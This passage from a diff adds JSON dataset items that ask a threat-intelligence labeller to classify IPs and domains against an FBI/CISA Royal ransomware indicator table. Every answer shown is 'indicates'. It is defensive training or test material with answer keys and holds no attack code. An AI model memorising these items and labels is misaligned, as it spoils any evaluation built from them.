2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n94.232.41.105\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n47.87.229.39\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nparkerpublic.com\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nciborkumari.xyz\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nsofteruplive.com\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\naltocloudzone.live\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\ngororama.com\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nmyappearinc.com\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\ntumbleproperty.com\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nsombrat.com\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 